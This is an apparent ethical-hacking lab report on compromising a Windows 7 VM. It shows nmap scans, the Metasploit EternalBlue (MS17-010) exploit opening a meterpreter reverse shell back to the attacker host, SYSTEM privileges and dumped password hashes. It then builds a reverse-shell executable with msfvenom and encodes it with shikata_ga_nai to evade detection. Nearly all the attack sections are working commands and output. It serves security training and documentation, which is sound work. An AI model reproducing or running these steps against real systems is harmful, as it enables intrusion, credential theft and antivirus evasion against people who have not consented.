Ethical Hacking Project Documentation:

Gaining Access to Windows 7 Target

Table of Contents

Project overview

This project outlines the ethical hacking methodology used to assess and gain access to a windows 7 target system as part of authorized penetration testing exercise.

Environmental setup

Attacker Machine	Target Machine	Network	Authorization
Kali Linux	Windows 7	Vmware NAT network	Full permission granted for testing
10.10.10.130	10.10.10.138		

Project objectives

1. Information gathering using network and host reconnaissance
2. Payload creation for exploitation
3. Payload encryption to evade detection
4. Gaining system Access

Task 1 – information Gathering

Network and host-based Reconnaissance

1.1 Initial network scanning

Tool - Nmap

Technique - Host Discovery, open port information gathering

```
┌──(kali㉿kali)-[~]
└─$ nmap -sn 10.10.10.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-11 23:53 EST
Nmap scan report for 10.10.10.1
Host is up (0.0014s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 10.10.10.2
Host is up (0.0062s latency).
MAC Address: 00:50:56:EB:CF:BC (VMware)
Nmap scan report for 10.10.10.138
Host is up (0.0053s latency).
MAC Address: 00:0C:29:0A:8E:61 (VMware)
Nmap scan report for 10.10.10.254
Host is up (0.00025s latency).
MAC Address: 00:50:56:E0:5C:67 (VMware)
Nmap scan report for 10.10.10.130
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.05 seconds

┌──(kali㉿kali)-[~]
└─$
```

```
┌──(kali㉿kali)-[~]
└─$ nmap -A -p- 10.10.10.138 --min-rate 1000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 01:05 EST
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.07% done; ETC: 01:08 (0:03:04 remaining)
Stats: 0:02:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 0.00% done
Nmap scan report for 10.10.10.138
Host is up (0.00082s latency).
Not shown: 65528 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
MAC Address: 00:0C:29:0A:8E:61 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|phone
Running: Microsoft Windows 7|Phone
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows
OS details: Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0
Network Distance: 1 hop
Service Info: Host: WIN-G7757KMM29H; OS: Windows; CPE: cpe:/o:microsoft:windows
```

1.2 Service Enumeration

Technique - Nmap script scan, Nmap port-based scan, Nmap service scan, Nmap discovery scan

```
Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: WIN-G7757KMM29H, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:0a:8e:61 (VMware)
| smb2-time:
|   date: 2024-12-12T06:08:38
|_  start_date: 2024-12-12T04:59:53
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1h49m59s, deviation: 3h10m31s, median: 0s
| smb-os-discovery:
|   OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1
|   Computer name: WIN-G7757KMM29H
|   NetBIOS computer name: WIN-G7757KMM29H\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-12-12T11:38:38+05:30

TRACEROUTE
HOP RTT     ADDRESS
1   0.82 ms 10.10.10.138

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 240.55 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ nmap --script vuln 10.10.10.138
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-12 06:07 EST
Nmap scan report for 10.10.10.138
Host is up (0.0018s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49158/tcp open  unknown
MAC Address: 00:0C:29:0A:8E:61 (VMware)

Host script results:
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 84.67 seconds
```

Task 2 – Payload creation

Using Metasploit Framework

2.1 Starting Metasploit

2.2 Selecting appropriate exploit

```
msf6 > search eternalblue

Matching Modules
================

   #   Name                                      Disclosure Date  Rank     Check  Description
   -   ----                                      ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target             .                .        .      .
   2     \_ target: Windows 7                    .                .        .      .
   3     \_ target: Windows Embedded Standard 7  .                .        .      .
   4     \_ target: Windows Server 2008 R2       .                .        .      .
   5     \_ target: Windows 8                    .                .        .      .
   6     \_ target: Windows 8.1                  .                .        .      .
   7     \_ target: Windows Server 2012          .                .        .      .
   8     \_ target: Windows 10 Pro               .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .           .        .      .
   10  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                    .                .        .      .
   12    \_ target: PowerShell                   .                .        .      .
   13    \_ target: Native upload                .                .        .      .
   14    \_ target: MOF upload                   .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                  .                .        .      .
   16    \_ AKA: ETERNALROMANCE                  .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                 .                .        .      .
   18    \_ AKA: ETERNALBLUE                     .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                  .                .        .      .
   21    \_ AKA: ETERNALROMANCE                  .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                 .                .        .      .
   23    \_ AKA: ETERNALBLUE                     .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010        .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                    .                .        .      .
   26    \_ AKA: ETERNALBLUE                     .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)        .                .        .      .
   29    \_ target: Neutralize implant           .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > 
```

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
```

2.3 payload configuration

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.138
RHOSTS => 10.10.10.138
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.10.138     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.10.130     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > 
```

2.4 exploit proof

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 10.10.10.130:4444
[*] 10.10.10.138:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.138:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.138:445      - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.138:445 - The target is vulnerable.
[*] 10.10.10.138:445 - Connecting to target for exploitation.
[+] 10.10.10.138:445 - Connection established for exploitation.
[+] 10.10.10.138:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.138:445 - CORE raw buffer dump (38 bytes)
[*] 10.10.10.138:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 10.10.10.138:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
[*] 10.10.10.138:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1
[+] 10.10.10.138:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.138:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.138:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.138:445 - Starting non-paged pool grooming
[+] 10.10.10.138:445 - Sending SMBv2 buffers
[+] 10.10.10.138:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.138:445 - Sending final SMBv2 buffers.
[*] 10.10.10.138:445 - Sending last fragment of exploit packet!
[*] 10.10.10.138:445 - Receiving response from exploit packet
[+] 10.10.10.138:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.138:445 - Sending egg to corrupted connection.
[*] 10.10.10.138:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 10.10.10.138
[*] Meterpreter session 1 opened (10.10.10.130:4444 -> 10.10.10.138:49159) at 2024-12-12 10:59:42 -0500
[+] 10.10.10.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.138:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter > ifconfig
```

```
meterpreter > sysinfo
Computer        : WIN-G7757KMM29H
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeTcbPrivilege

meterpreter > getsys
[-] Unknown command: getsys. Did you mean getsid? Run the help command for more details.
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Yuvan:1000:aad3b435b51404eeaad3b435b51404ee:3e55f3329fa8012f2d74f036f67743f7:::
meterpreter > |
```

Task 3 – Payload Encryption

3.1 creating payload

```
msf6 exploit(windows/smb/ms17_010_eternalblue) > msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=4444 -f exe > payload.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.130 LPORT=4444 -f exe > payload.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

Desktop  Documents  Downloads  Music  payload.exe  Pictures  Public  Templates  Videos
msf6 exploit(windows/smb/ms17_010_eternalblue) >
```

3.2 encrypting payload

```
┌──(kali㉿kali)-[~]
└─$ msfvenom -x payload.exe -e x86/shikata_ga_nai -i 10 -f exe -o encode-payload.exe -a x64 --platform windows
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 10 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai succeeded with size 162 (iteration=5)
x86/shikata_ga_nai succeeded with size 189 (iteration=6)
x86/shikata_ga_nai succeeded with size 216 (iteration=7)
x86/shikata_ga_nai succeeded with size 243 (iteration=8)
x86/shikata_ga_nai succeeded with size 270 (iteration=9)
x86/shikata_ga_nai chosen with final size 270
Payload size: 270 bytes
Final size of exe file: 75264 bytes
Saved as: encode-payload.exe
```

Task 4 – Gaining system Access

```
meterpreter > shell
Process 2512 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>netusers
netusers
'netusers' is not recognized as an internal or external command,
operable program or batch file.

C:\Windows\system32>net users
net users

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    Yuvan
The command completed with one or more errors.


C:\Windows\system32>
```

Security considerations

All tests performed with authorized scope.

Data handling follows security protocols.

System restored to original state after testing.

Findings documented for remediation.

Remediation recommendations

Upgrading to latest windows version.

Implement proper firewall rules.

Regular security assessment.

Network segmentation.

Strong access controls.

Appendix

-A aggressive scan

-p- all ports scan

--min-rate 1000 scanning the target with 1000 requests per second min

-O OS scan

-sV version scan

References

Metasploit documentation

Nmap manual

Meterpreter framework

Windows best practices